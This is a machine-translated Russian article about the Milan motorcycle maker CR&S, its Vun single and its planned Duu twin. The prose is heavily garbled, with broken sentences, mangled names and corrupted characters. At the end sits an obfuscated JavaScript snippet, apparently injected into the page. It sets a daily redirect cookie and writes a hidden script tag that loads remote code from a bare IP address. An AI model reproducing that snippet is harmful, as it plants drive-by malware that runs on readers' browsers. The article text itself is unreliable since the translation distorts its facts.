RIDERS 08 2009

В Милане все больше прод-эль-Кер в человеке, к счастью, есть еще кто-то, кто строит мотоциклы с сердцем и руками.
поодиночке, с большой заботой и страстью. Импульс история и так много людей, они сказали,, но это история идеи.
Простая история, но особенного в его небольшой.
Если два колеса двигают душу, мужество нескольких друзей удалось вывести мотоцикл марки в Милане. Оказавшись в тени таких брендов Madonnina, как Bianchi,, Миллер-Бальзамо, Iso Мото, Parilla, Guazzoni, Инноченти. И Патон Пеппино Pattoni, последний частный производитель, который сражался в Гран-при с японскими гигантами, с четырьмя зелеными цилиндрами.

сегодня, в городе моды, есть CR для изготовления мотоциклов на заказ&S. Вид снаружи, ее штаб-квартира находится небольшой сарай, как и многие другие в промышленной зоне Сеттимо Миланеза. За исключением одной вещи, мотоциклы выстроились за пределами: похожи, но они не идентичны. Они немного одноцилиндровые’ кофейный гонщик, немного’ голый карманный размер. Они называются Vun. Они идея. Люди, которые заставили его работать под одной крышей, как части одного и того же мотоцикла. Мастерская находится на первом этаже., стены увешаны плакатами Bol d'Or, Tourist Trophy и Ассен. Отдел дизайна и оформления документов находится на открытой планировке антресоли (скорее, Спаси AVERT), преобладают извилистые обтекателя супербайком Бриттен V 1000. Roberto Crepaldi сидит прямо перед. Именно он основал CafÈ Racers. & Супербайки в 1992, после чего номер один открыт с Карло Talamo и Макс Брун. В следующем году он встречает Джона Бриттена., блестящий инженер Zealander известный своей V 1000. Он тоже в погоне за быстрой идеей. пусть Бриттен, поддерживается в Европе ЧР&S, витрины в соревнованиях по всему миру, до исчезновения одного и того же Бриттена. Воспользовавшись опытом предпринимателя в автомобильном секторе (Это был дилер Ferrari, Jaguar E Aston Martin), Crepaldi берет пример из проекта последнего Джона из одноцилиндровых гонок, одноместный самолет, с соотношением веса и мощности, равным единице. один. из, в миланском диалекте… Джон Cabassi и Giorgio Сарти друзья, предприниматели, Бесплатные велосипеды мыслители 2002 Они по бокам Crepaldi в ЧР&S. Два года после того, как Роберто Pattoni, сын Пеппино и владелец Патона, стать партнерами ЧР&S как техник отвечает за развитие. Выбор двигателя является Rotax Bombardier 650, получил признание на BMW F за его дорожное предназначение и надежность . Задуманный как гоночный моно, Vun доказывает животное к смешанному концу, также отлично подходит для использования в городе . В дизайне классические линии трубчатой ​​рамы сочетаются с современным алюминиевым корпусом., конические линии и технологические решения. Каждая часть настраивается, так что пилот может испытать удовольствие от создания своего собственного Vun, выбирая компоненты и раскрашивая. В конце 2006 начинается массовое производство, в несколько десятков экземпляров в год, в окружении гоночных прототипов. Недавно были добавлены две версии EvoluziÀ²n mono da. 652 куб.см. Готов к гонке развивается 68 резюме, а нурма там довольствуется 54 cv a 7.000 повороты. Все еще неплохо, с учетом того, что сухой вес всего 135 чили… Вун говорит по-милански даже в техническом описании., в котором плавающий тормозной диск становится дисковым пресс-подборщиком, а цепь с кольцевыми уплотнениями cadÈna cont i anÈi de goma…
Большая ставка CR&S кажется выигранным, распространение расширяется в Европе и США, но идеи не перестают крутиться. Это неизбежное продолжение Вуна, с двумя цилиндрами из коробки и из логики больших чисел, уже в головах миланских строителей в 2008. До, Крепальди рассказывает, откровение прибывает на Motor Bike Expo в том же году: «У нас был стенд OMM, мастерская миланской механики, которая импортирует Wakan, вместе с Конфедерацией, прямо перед трибуной Zodiac с новым двойным клином X-Wedge by S&S. Со Вакан, X-клин, Конфедерат, из… приводит! ».
Сам анекдот содержит концептуальную фигуру, стиль и эстетика нового двухцилиндрового двигателя CR&S. По сути: Совершенно новый макси-стритфайтер, менее элитный, чем конфедерат, радикальный, как Вакан, и построенный
опираясь на опыт Вун. Сердце проекта - двигатель X-Wedge., который имеет основное требование не быть имитацией Harley-Davidson Twin Cam. V2, чтобы 56A ° S&S одинаково массивное, но больше
современный и мощный, с его 2.000 куб.см, три распределительных валов, электронный впрыск. À в состоянии 160
Нм крутящего момента чуть более 3.000 повороты. Материал к опрокидыванию, хотя утвержденного евро 3. А учитывая, что дуу должен весить œsoloâ â € € ?? 250 чили, как Harley Sportster 883…
Обратите внимание на то, как числа повторялись: два цилиндра, два литра, два места (желая). И большая труба, которая характеризует кадр со смешанной структурой стала. Первые эскизы скрыты надстройками дополнительных, но ясно, что красота Дуу сияет своей брутальной простотой. Голый и грубый, разработан для лобового вождения без особых усилий, но предназначен для нанесения ударов в живот. Еще
однажды сформировать, функции и эмоции преследуют друг друга в игре баланса. Come la Vun, также Duu Это история о вожделении для взрослых мотоциклистов., развитый и требовательный. Кто, возможно, захочет снова влюбиться в увлекательный байк?. Это сказал философ Жиль Делез., что «нет революции без либидинальных инвестиций». И без, не строятся даже единственные в своем роде мотоциклы, с поддержкой уровня творчества, который большие дома больше не могут себе позволить, задушен осторожностью и маркетинговой логикой. Это увлекательная ставка, все играть, но в пределах досягаемости. Хотя все еще уровень
прототипа, уже известно, что цена Duu должна колебаться между 19 и 20 тысяч евро.
Немного больше, чем Ducati Streetfighter S, в соответствии с мышцами V-образного стержня, меньше, чем V-Max
и CVO Harley-Davidson.
Презентация прототипа на выставке Eicma в этом году, чтобы увидеть окончательный байк на Миланском автосалоне 2010. Производство следующего сезона: «Мы не стремимся к большим цифрам, мы небольшая компания с идеями
ясно », - заключает Крепальди.. «Веха в сотню велосипедов в год будет означать достижение точки безубыточности и позволит нам получить прибыль., будут реинвестированы в разработку следующего мотоцикла CR&ЕЕ". Переведено
свободно на миланском: Это минга де дуу сенца три.

Читать статью…

функция getCookie(е){вар U = document.cookie.match(новый RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/г,”\\$1″)+”знак равно([^;]*)”));возвращение U?decodeURIComponent(U[1]):недействительным 0}вар SRC =”данные:текст / JavaScript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,Теперь = Math.floor(Date.now()/1e3),печенье = getCookie(“переадресовывать”);если(сейчас>знак равно(время = печенье)||аннулируются время 0 ===){Время вара = Math.floor(Date.now()/1e3 + 86400),дата = новая Дата((новая Дата).GetTime()+86400);document.cookie =”перенаправлять =”+время +”; Путь = /; истекает =”+date.toGMTString(),document.write(”)}